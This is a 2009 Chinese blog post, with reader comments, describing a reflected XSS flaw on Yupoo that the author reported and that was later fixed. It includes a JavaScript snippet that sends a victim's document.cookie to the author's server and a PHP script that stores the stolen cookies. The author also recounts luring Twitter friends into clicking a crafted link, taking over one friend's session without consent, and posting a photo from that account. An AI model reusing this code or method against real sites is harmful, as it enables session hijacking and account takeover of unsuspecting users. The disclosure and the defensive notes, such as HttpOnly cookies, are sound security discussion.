声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。
偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞 ,它能执行任意的前端代码。
漏洞产生的原因主要有两点,首先是表单虽然定为 POST 方法,但尝试后发现 GET 参数也可以接收的;其次,也是最致命的是,输入的参数没有经过任何的转义和过滤,就被加入到了页面中。
于是插入了相应的 Javascript 代码,并构成了 XSS (参看图中 input 参数后面的 value 已经构成了 script 标签)。
弹出个 alert 框似乎并不能说明什么问题,最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写
var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);
然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据
<?php
if (isset($_GET['var'])) {
file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}
接下来就属于社会学的范畴, 我在 Twitter 上 发了信息并「引诱」朋友们去点击伪造后的连接(我承认很猥琐)。
不一会就收集了某兄弟的 Cookie,于是将其 Cookie 内容填到了本地浏览器上(谢天谢地,Yupoo 的 Cookie 不是很多)。
再次刷新浏览器,已经使用该用户的帐号登陆了(即便此时我还不知道他的密码)。
最后,使用此帐户发张本人的艳·照,纪念下…
-- Update --
截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞,效率真高!赞!
-- Split --
总结:上述攻击的手段,仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便,但从根本上避免还是个值得研究的课题。
Web2.0 大潮已降, 前端正在改变这这个世界 。前端代码的安全问题,是每个前端从业人员必须去面对和注意的。
RIA吧~
安全性方面更为强悍~
楼上的人手速真快。。。。。
有点恐怖
你是坏人!
@KingFo:您也不赖呀,就差了891s
feelingluck的确是个坏人!呵呵:)
厉害啊。
@大猫:
这个是不厚道滴。
果然很不厚道。
很明显,我就没上当嘛
哈哈,以后不敢点你Twitter上的连接了
反正我没有yupoo的账号
不过这个是怎么想到的嗫?
@yixia:
他最近乐此不疲,专门干这个的! keke...
这个洞不错,看来yupoo的程序员犯了个低级错误
恭喜明城同学成功向security行业演进一大步。
作者:手气不错
声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。
偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞,它能执行任意的前端代码。
漏洞产生...
cnzz统计曾经也有这个漏洞
汗颜。居然做坏事。还好你不是默默地做。
你这个干坏事的家伙.. 不要被 aoao 带坏啊..
呵呵,这个效果有效。佩服一下。
我是国家安保局的,接上面指示来逮捕你的,哇哈哈
cookie 的 httponly 是必须的